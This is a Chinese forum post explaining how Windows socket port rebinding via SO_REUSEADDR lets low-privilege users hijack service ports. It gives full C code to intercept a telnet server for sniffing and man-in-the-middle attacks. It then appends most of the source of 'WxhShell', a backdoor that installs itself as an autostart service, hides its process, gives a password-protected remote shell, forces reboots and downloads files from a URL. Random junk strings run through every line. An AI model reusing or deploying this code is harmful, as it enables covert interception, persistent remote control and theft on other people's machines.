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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :NWrbfz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .r-kH&)"GU  
+#g4Crb  
  saddr.sin_family = AF_INET; (DTkK5/%  
;B"S*wYMN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jL~. =QD  
"ScY'<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0a)LZp|  
0U:9&j P,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vLM-v  
`I5So-^&z  
  这意味着什么?意味着可以进行如下的攻击: }h\]0'S~J~  
XN'<H(G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `Zz;[<*<  
O,7*dniH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H=_k|#/  
luO4ap]*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /I q6'oo  
g U v`G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HQ3kxOT  
K_BF=C.k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {`[u XH?3d  
z)p p{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 rh(77x1|(G  
ZRoOdo94  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 AW`+lE'?  
.^uYr^( |[  
  #include xA"7a  
  #include ^g n7DiIPH  
  #include u_ym=N57`  
  #include    eHI7= [h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Jgf= yri  
  int main() gz"I=9  
  { JA^Y:@<{/  
  WORD wVersionRequested; 4B@L<Rl{\  
  DWORD ret; },tn  
  WSADATA wsaData; [Ma d~;  
  BOOL val; 3 e<sNU?  
  SOCKADDR_IN saddr; Vu1X@@z  
  SOCKADDR_IN scaddr; {@<EVw  
  int err; jX{t/8v/s4  
  SOCKET s;  .tRWL!  
  SOCKET sc; JUC62s#_z  
  int caddsize; ;=?KQq f  
  HANDLE mt; Kyq/o-  
  DWORD tid;   n4Eqm33  
  wVersionRequested = MAKEWORD( 2, 2 ); z8n]6FDiE  
  err = WSAStartup( wVersionRequested, &wsaData ); =Ev* Q[  
  if ( err != 0 ) { q|wwfPez7  
  printf("error!WSAStartup failed!\n"); R9V v*F]m@  
  return -1; 5y|/}D>  
  } a`uHkRX )U  
  saddr.sin_family = AF_INET; {t<U:*n2  
   `$N AK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L\H,cimN  
+;wu_CQu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <Q? X'.  
  saddr.sin_port = htons(23); <YBA 7i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *ZA.O  
  { bcZ s+FOPd  
  printf("error!socket failed!\n"); A{b?ZT~2]  
  return -1; ?3:xR_VWZu  
  } A!j6JY.w  
  val = TRUE; 9DP6g<>B  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,Q8)r0c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fu?Y'Qet  
  { RzLbPSTQ  
  printf("error!setsockopt failed!\n"); Ok&u4'<  
  return -1; w6[uM%fHG  
  } #97w6,P+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f_GqJ7Gk]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N_"mC^Vx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 , H_Cn1l  
1]vrpJw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uyITUvPg[  
  { m;d#*}n\p  
  ret=GetLastError(); Jd>"g9  
  printf("error!bind failed!\n"); Iz<}>J B  
  return -1; IT_Fs|$  
  } 5%n  
  listen(s,2); W{2(fb  
  while(1) Q>}*l|Ci  
  { X}$uvB}+>  
  caddsize = sizeof(scaddr); _PeBV<  
  //接受连接请求 %}asw/WiUa  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {qHf%y&[  
  if(sc!=INVALID_SOCKET) &jHnM^nQ  
  { F&om^G'U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Jr4^@]78o<  
  if(mt==NULL) HO(9 )sK  
  { H,H=y},  
  printf("Thread Creat Failed!\n"); I?mU_^no  
  break; ,#P eK(  
  } Zn`vL52_  
  } } 1 >i  
  CloseHandle(mt); YI*Av+Z)  
  } h)qapC5z,  
  closesocket(s); sKT GZA  
  WSACleanup(); )0I;+9:D=  
  return 0; <e 'S'  
  }    v NJ!d  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7VdG6`TDR  
  { )wROPA\uA  
  SOCKET ss = (SOCKET)lpParam; W=$d|*$  
  SOCKET sc; v~N8H+! d  
  unsigned char buf[4096]; ):lq}6J#  
  SOCKADDR_IN saddr; (&U8NeWZ  
  long num; {Y! -]_ 5  
  DWORD val; PKhH0O\_U  
  DWORD ret; =sk]/64h``  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N!}r(Dd*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9?M><bBX  
  saddr.sin_family = AF_INET; 9oL/oL-J/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H"H&uA9"  
  saddr.sin_port = htons(23); 6jiz$x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jMvWS71  
  { 'W/E*O6BY  
  printf("error!socket failed!\n"); IZV D.1  
  return -1; A7!=`yA$  
  } }l/ !thzC  
  val = 100; h4 s!VK1X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZCZYgf@  
  { mRT`'fxK  
  ret = GetLastError(); R30{/KK  
  return -1; m 4Vh R_  
  } (q!tI* }  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |7V:~MTkk&  
  { Xx~XW ^lsh  
  ret = GetLastError(); NX^%a1D!  
  return -1; Jp<Y2-  
  } TixXA:Mf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BK>uJv-qU  
  { .r/6BDE"  
  printf("error!socket connect failed!\n"); zice0({iJ  
  closesocket(sc); fD#VI   
  closesocket(ss); piE9qXn  
  return -1; 6Hz45  
  } &>I4-D[  
  while(1) !YlyUHD  
  { hVe@:1og#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e 'I13)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ` gIlS^Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H[ DrG6GA  
  num = recv(ss,buf,4096,0); V/Q~NX N  
  if(num>0) *7'}"@@  
  send(sc,buf,num,0); +SGM3tY  
  else if(num==0) 1k2+eI  
  break; :?VM1!~ga  
  num = recv(sc,buf,4096,0); E4^zW_|xE  
  if(num>0) Z_oBZs  
  send(ss,buf,num,0); g|r:+%,M  
  else if(num==0) RzG<&a3B3s  
  break; )6# i>c-  
  } 8'Eu6H&$G  
  closesocket(ss); -v*wT*I1  
  closesocket(sc); &<Bx1\ ~V  
  return 0 ; 0Bx.jx0?  
  } )]"aa_20]  
Zs _Jn  
I^pD=1Y]  
========================================================== N'nI ^=  
 }xcEWC\  
下边附上一个代码,,WXhSHELL Fh u(u  
t =ErJ  
========================================================== LEoL6ga  
N`7) 88>w  
#include "stdafx.h" FpjpsD~ Qu  
\vVGfG?6  
#include <stdio.h> ENwDW#U9  
#include <string.h> A ^YHtJ  
#include <windows.h> i?uJ<BdU[  
#include <winsock2.h> SG1fu<Q6J  
#include <winsvc.h> t&+f:)n  
#include <urlmon.h> "oX@Z^  
/ lh3.\|  
#pragma comment (lib, "Ws2_32.lib") 5UE5;yo  
#pragma comment (lib, "urlmon.lib") {umdW x.*  
)J&1uMp{  
#define MAX_USER   100 // 最大客户端连接数 FI1R7A  
#define BUF_SOCK   200 // sock buffer q(0V#kKC  
#define KEY_BUFF   255 // 输入 buffer hX\z93an  
eqK6`gHa6  
#define REBOOT     0   // 重启 B[:-SWd  
#define SHUTDOWN   1   // 关机 9ZjSM,+  
`<>Emc8Z  
#define DEF_PORT   5000 // 监听端口 nmlQ-V-  
7@R;lOzL3  
#define REG_LEN     16   // 注册表键长度 !BD+H/A.{  
#define SVC_LEN     80   // NT服务名长度 sfSM7f  
tSK{Abw1B  
// 从dll定义API .!T]sX_P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R9X* R3nB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,&S:(b[D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &D, gKT~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (,~gY=E+  
LFHV~>d  
// wxhshell配置信息 ek~bXy{O`  
struct WSCFG { XJl2_#  
  int ws_port;         // 监听端口 *rPUVhD_  
  char ws_passstr[REG_LEN]; // 口令 5a1)`2V2M  
  int ws_autoins;       // 安装标记, 1=yes 0=no iGmBG1a\  
  char ws_regname[REG_LEN]; // 注册表键名 >'3J. FY  
  char ws_svcname[REG_LEN]; // 服务名 1?\ #hemL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^;0.P)yGA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3dG[dYj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^a~^$PUqI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~W'>L++  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wehZ7eqm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "Gx(-NH+  
5#+G7 'k  
}; g6:S"Em  
G"3)\FEM  
// default Wxhshell configuration o*7`r~  
struct WSCFG wscfg={DEF_PORT, Zf~Em'g"3  
    "xuhuanlingzhe", Gp.+&\vi  
    1, ^ sxcBG  
    "Wxhshell", |,c\R"8xS  
    "Wxhshell", :d7Ju.*J  
            "WxhShell Service", `N%q^f~  
    "Wrsky Windows CmdShell Service", ^<fN  
    "Please Input Your Password: ", oTj9/r  
  1, d4h1#MK  
  "http://www.wrsky.com/wxhshell.exe", P#5&D*`}h  
  "Wxhshell.exe" `~'yy q  
    }; M&Aeh8>uX  
$i&u\iL  
// 消息定义模块 "*O(3L.c-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?5d7J,"<h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6XPf0Gl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >gqM|-uY  
char *msg_ws_ext="\n\rExit."; MM8r*T4g/  
char *msg_ws_end="\n\rQuit."; }Z5#{Sd  
char *msg_ws_boot="\n\rReboot..."; D_fgxl  
char *msg_ws_poff="\n\rShutdown..."; q~9Y&>D  
char *msg_ws_down="\n\rSave to "; Y#Pl)sRr  
m'&^\7;D  
char *msg_ws_err="\n\rErr!"; ~3bn?'`  
char *msg_ws_ok="\n\rOK!"; _JZS;8WYR  
Z)B5g>  
char ExeFile[MAX_PATH]; NMYkEz(&R  
int nUser = 0; p3Uus''V4  
HANDLE handles[MAX_USER]; >q0c!,Ay  
int OsIsNt; gZQ,br*  
_<x4/".}B3  
SERVICE_STATUS       serviceStatus; 6A$ \I44  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A%S6&!I:(  
?0HPd5=<v  
// 函数声明 zRDBl02v$T  
int Install(void); C"w>U   
int Uninstall(void); /L,VZ?CmtK  
int DownloadFile(char *sURL, SOCKET wsh); lTOO`g  
int Boot(int flag); .s7Cr0^k,|  
void HideProc(void); -s Iji)t  
int GetOsVer(void); SenDJv00  
int Wxhshell(SOCKET wsl); \yeo-uN8  
void TalkWithClient(void *cs); :n36}VG|  
int CmdShell(SOCKET sock); 595P04  
int StartFromService(void); B=K& +  
int StartWxhshell(LPSTR lpCmdLine); $7%e|0jC  
f{=0-%dA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z6G>j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "_Wv,CYmNr  
 =lIG#{`Q  
// 数据结构和表定义 i^LLKx7M&  
SERVICE_TABLE_ENTRY DispatchTable[] = z& !n'N<C  
{ (dl7+  
{wscfg.ws_svcname, NTServiceMain}, 8:V:^`KaSs  
{NULL, NULL} w>M8 FG(4]  
}; >q{E9.~b  
%<cfjo  
// 自我安装 3=( Gb  
int Install(void)  +c@s  
{ NEInro<  
  char svExeFile[MAX_PATH]; sBozz#  
  HKEY key; Y0`=h"g  
  strcpy(svExeFile,ExeFile); wGfU@!m  
7VWq8FH`  
// 如果是win9x系统,修改注册表设为自启动 u;$g1 3  
if(!OsIsNt) { -X#Zn>#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A1{ 7g<k6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rv/O^aL`Y  
  RegCloseKey(key); o5(`7XV6D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qs(WyP#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )@"iWQ 3K  
  RegCloseKey(key); q.]>uBAQ?  
  return 0; o/uA_19  
    } |L XYF$  
  } kaBP& 6|Z  
} C(( 7  
else { OV)J  
hq}kAv4B=  
// 如果是NT以上系统,安装为系统服务 5$C4Ui{<E'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7v9l+OX,6  
if (schSCManager!=0) .qBL.b_`  
{ p BU,"Yy&  
  SC_HANDLE schService = CreateService [v7)xV@c  
  ( gJYB)LjH"  
  schSCManager, :xdl I`S  
  wscfg.ws_svcname, PGTi-o}  
  wscfg.ws_svcdisp, 3f;W+^NY  
  SERVICE_ALL_ACCESS, O>P792)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y#%*aV}|B  
  SERVICE_AUTO_START, ^HpUbZpat)  
  SERVICE_ERROR_NORMAL, !/pE6)a  
  svExeFile, w}*2Hz&Q!  
  NULL, G[34:J  
  NULL, Q a(>$.h  
  NULL, *;(wtMg  
  NULL, !j"r}c`  
  NULL 5[^pU$Y  
  ); Qrr8i:Y^  
  if (schService!=0) zoFCHs r  
  { 1Yj^N" =  
  CloseServiceHandle(schService); \F_~?$  
  CloseServiceHandle(schSCManager);  "u#T0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !U}dYB:O  
  strcat(svExeFile,wscfg.ws_svcname); FT0HU<." 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R*m=V{iu`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZHQa}C+  
  RegCloseKey(key); 5v&mK 5zZ  
  return 0; `tmd'  
    } 6pyLb3[e  
  } ``l7|b jJ  
  CloseServiceHandle(schSCManager); %!_okf   
} lLq9)+HGN  
} fU@{!;|Pz  
Q& p'\6~  
return 1; Aqi9@BH  
} i+`N0!8lY  
Knd2s~S  
// 自我卸载 K,pQ11J  
int Uninstall(void) 4g^nhJP$  
{ }jF67c->  
  HKEY key; DB1F _!9  
37j-FLbW  
if(!OsIsNt) { C_c*21X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4dfR}C  
  RegDeleteValue(key,wscfg.ws_regname); 'IR2H{Q  
  RegCloseKey(key); :i;iSrKy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e -sZ_<GH  
  RegDeleteValue(key,wscfg.ws_regname); gpo+-NnG  
  RegCloseKey(key); Ebmd[A&&  
  return 0; irg% n  
  } e;Iz K]kP  
} XMt5o&U1  
}  3+[R !  
else { W<W5ih,#  
#x) lN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =#tQhg,_  
if (schSCManager!=0) w 0V=49  
{ y$J M=f$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W$E!}~Ro  
  if (schService!=0) I-=H;6w7  
  { jrOqspv   
  if(DeleteService(schService)!=0) { }p2YRTHx  
  CloseServiceHandle(schService); 6Dx^$=Sa$  
  CloseServiceHandle(schSCManager); =3~u.iq$  
  return 0; V(-=@UW  
  } Fo$kD(  
  CloseServiceHandle(schService); +:JyXF u  
  } 5Z2tTw'i  
  CloseServiceHandle(schSCManager); O@$wU9 D<  
} bV'^0(Zv  
} K6C@YY(  
 X`REhvT  
return 1; @wzzI 7}C  
} u0Nag=cU  
82mKI+9&"  
// 从指定url下载文件 //[zUn  
int DownloadFile(char *sURL, SOCKET wsh) ENmfbJ4d~  
{ v6Vd V.BI  
  HRESULT hr; h x _,>\@  
char seps[]= "/"; s]tBd !~  
char *token; `V(z z  
char *file; `pB]_"b  
char myURL[MAX_PATH]; R~=_,JUW  
char myFILE[MAX_PATH]; ZS@Gt  
[;rty<Z^b  
strcpy(myURL,sURL); W,\LdQ  
  token=strtok(myURL,seps); QX1rnVzg0  
  while(token!=NULL) Qxw?D4/Y  
  { 5)IJ|"]y  
    file=token; y;M}I8W[  
  token=strtok(NULL,seps); X4- _l$j  
  } **].d;~[l  
Kbdjd p  
GetCurrentDirectory(MAX_PATH,myFILE); ?9F_E+!  
strcat(myFILE, "\\"); \( S69@f  
strcat(myFILE, file); g$z9 (i+  
  send(wsh,myFILE,strlen(myFILE),0); '+@q  
send(wsh,"...",3,0); gj\'1(Ju  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]Wn^m+  
  if(hr==S_OK) n!nXM  
return 0; k7R8Q~4  
else 0`{3|g  
return 1; Rh=,]Y  
aGl*h" &  
} LF2@qvwD  
'dkKBLsx  
// 系统电源模块 ZSB_OS[N  
int Boot(int flag) X=sC8Edx  
{ zc}qAy'<  
  HANDLE hToken; \.@fAgv  
  TOKEN_PRIVILEGES tkp; ??4#)n k  
s8/sH];  
  if(OsIsNt) { W .B>"u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?0ezr[`.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Sqc r -  
    tkp.PrivilegeCount = 1; F(yx/W>Br_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Awip qDAu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o@p(8=x  
if(flag==REBOOT) { PYOU=R%o`8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zK*zT$<l  
  return 0; R')D~JJ<8a  
} r87)?-B  
else { y([""z3<w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (%i)A$i6a  
  return 0; $?Et sf#*'  
} m|7lDfpb  
  } !I 7bxDzK$  
  else { ,wI$O8"!j  
if(flag==REBOOT) { ~If{`zWoC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u-31$z<<5}  
  return 0; $>72 g.B  
} =nq9)4o  
else { j.'Rm%@u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J?Ed^B-  
  return 0; :9_N Y"P  
} sSh=Idrx  
} B@:11,.7  
[RZ}9`V  
return 1; ?8j#gYx2  
} zW,Nv>Ac5  
%(9BWO  
// win9x进程隐藏模块 wFgL\[$^|  
void HideProc(void) SP&Y|I$:  
{ 3Zr'Mn  
3?}W0dZ$d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X5(S+;v"^  
  if ( hKernel != NULL ) r]C`#  
  { 2u(v hJ F5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !7m )QNV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fP6]z y^ *  
    FreeLibrary(hKernel); RpAtd^I  
  } O_f+#K)  
oX2J2O  
return; FY^#%0~  
} v Ft]n  
uSAb  
// 获取操作系统版本 z3RlD"F1  
int GetOsVer(void) _$W</8 <  
{ cH5@Jam  
  OSVERSIONINFO winfo; 6X@]<R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g_2m["6*  
  GetVersionEx(&winfo); )2U#<v^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L$ nFRl&  
  return 1; ;+) M~2 =  
  else 97$1na3gq  
  return 0; # j=r  
} U?MKZL7  
!k=>Wb8n2  
// 客户端句柄模块  qep<7 QO  
int Wxhshell(SOCKET wsl) ,O9rL :?  
{ 80/6-_g(  
  SOCKET wsh; ^'g1? F$_  
  struct sockaddr_in client; m &U $V  
  DWORD myID; o9tvf|+z  
if S) < t  
  while(nUser<MAX_USER) JD\:bI  
{ HuX{8nl a  
  int nSize=sizeof(client); q{rc[ s?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $] js0 )>  
  if(wsh==INVALID_SOCKET) return 1; \X'{ ee  
aYjFRH`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U9om}WKO  
if(handles[nUser]==0) ,oW8im   
  closesocket(wsh); 8gA:s`ofJ  
else ^:b%Q O  
  nUser++; w% Ug9  
  } g@&@ ]63  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;'o:1{Y  
R!v ?d2  
  return 0; -&#H@Gyw  
} s}~'o!}W  
wYf9&}k\4  
// 关闭 socket ++s=$D  
void CloseIt(SOCKET wsh) zH0{S.3 k  
{ zLG5m]G4D  
closesocket(wsh); 8Nr,Wq  
nUser--; y6[^I'kz  
ExitThread(0); JsOu *9R  
} Eua\N<!aai  
n3-2;xuNKE  
// 客户端请求句柄 Z/z(P8#U\  
void TalkWithClient(void *cs) u>G#{$)  
{ FyXz(l:  
K22'XrN  
  SOCKET wsh=(SOCKET)cs; [6bK>w"v  
  char pwd[SVC_LEN]; |JpLMUG  
  char cmd[KEY_BUFF]; Ha~g8R&  
char chr[1]; qlT'gUt=H  
int i,j; G3j&8[  
hRn[ 9B  
  while (nUser < MAX_USER) { i;1EXM  
x5Sc+5?*  
if(wscfg.ws_passstr) { 0 ]v:Ix  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =R M=@X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zh hH A9  
  //ZeroMemory(pwd,KEY_BUFF); YpFh_Zr[  
      i=0; 4XkSj9D~z  
  while(i<SVC_LEN) { BF*]l8p  
{ r9fKA  
  // 设置超时 W_zv"c  
  fd_set FdRead; WQ\H 2go  
  struct timeval TimeOut; DR."C+  
  FD_ZERO(&FdRead); >*TFM[((Y)  
  FD_SET(wsh,&FdRead); vW\#2[j[  
  TimeOut.tv_sec=8; 4{d`-reHg  
  TimeOut.tv_usec=0; *wml 4lh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =[O;/~J%:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); axTvA(k9  
t3TnqA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w[>/(R7im  
  pwd=chr[0]; {+V1>6  
  if(chr[0]==0xd || chr[0]==0xa) { * /S=9n0  
  pwd=0; ,0^:q)_  
  break; Td&w  
  } ^]He]FW':G  
  i++; R@=Bk(h  
    } kfF.Ctr1a  
t^h {D   
  // 如果是非法用户,关闭 socket rPV\ F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Pg3O )D9  
} fP41 B  
ZJotg *I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8^3Z]=(Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qrt[MJ+#  
+L4_]  
while(1) { i,=CnZCh  
-[kbHrl&  
  ZeroMemory(cmd,KEY_BUFF); b"+ J8W  
M1Jnn4w*d  
      // 自动支持客户端 telnet标准   \R >!HY  
  j=0; @_&@M~ u  
  while(j<KEY_BUFF) { su~_l[6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c&Pgz~iP  
  cmd[j]=chr[0]; MB,;HeP!  
  if(chr[0]==0xa || chr[0]==0xd) { _v2 K1 1  
  cmd[j]=0; ,!"\L~6  
  break; Sm2 |I6  
  } Nl_Sgyx,\  
  j++; ,B>Rc#  
    } ;>o}/h  
b 469  
  // 下载文件 sjLI^#a  
  if(strstr(cmd,"http://")) { X<4h"W6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gi;#?gps  
  if(DownloadFile(cmd,wsh)) ?)9mHo^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tA+ c  
  else mZVYgJQ[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /cBQE=]6  
  } Ju$vuEO  
  else { ?XVJ$nzW  
gB!K{ Io'  
    switch(cmd[0]) { pq`Bg`c  
  $x&\9CRM  
  // 帮助 Z:|2PQ4  
  case '?': { vb{+yEa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oWVlHAPj  
    break; g)+45w*+5  
  } fDmGgD?  
  // 安装 0:^L>MO  
  case 'i': { CErkmod{}e  
    if(Install()) :F:<{]oG_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'J^E|1P  
    else v_*E:E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p&=F:-  
    break; >= Hcw  
    } %=J<WA6\  
  // 卸载 QKYGeT7&Y'  
  case 'r': { Qc2_B\K^  
    if(Uninstall()) `, ?T;JRc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t@-:e^ v  
    else y 1fl=i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gP*:>[lR  
    break; MjMPbGUX{  
    } _p vL b  
  // 显示 wxhshell 所在路径 <,,U>0?3  
  case 'p': { SE+K"faKQ  
    char svExeFile[MAX_PATH]; .}.5|z} A  
    strcpy(svExeFile,"\n\r"); zzfwI@4  
      strcat(svExeFile,ExeFile); 8Z>ZjNG  
        send(wsh,svExeFile,strlen(svExeFile),0); @RKw1$BA  
    break; =V:rO;qX+@  
    }  hM2^[8  
  // 重启 )+[IR  
  case 'b': { K"1xtpy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &#Sg1$/+  
    if(Boot(REBOOT)) ;pdW7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qh-k[w0  
    else { Y;>0)eP  
    closesocket(wsh); [Dp6q~RM  
    ExitThread(0); Owalt4}C  
    } D .| h0gU  
    break; u79.`,Ad&  
    } %(b`i C9  
  // 关机 < 2w@5qL  
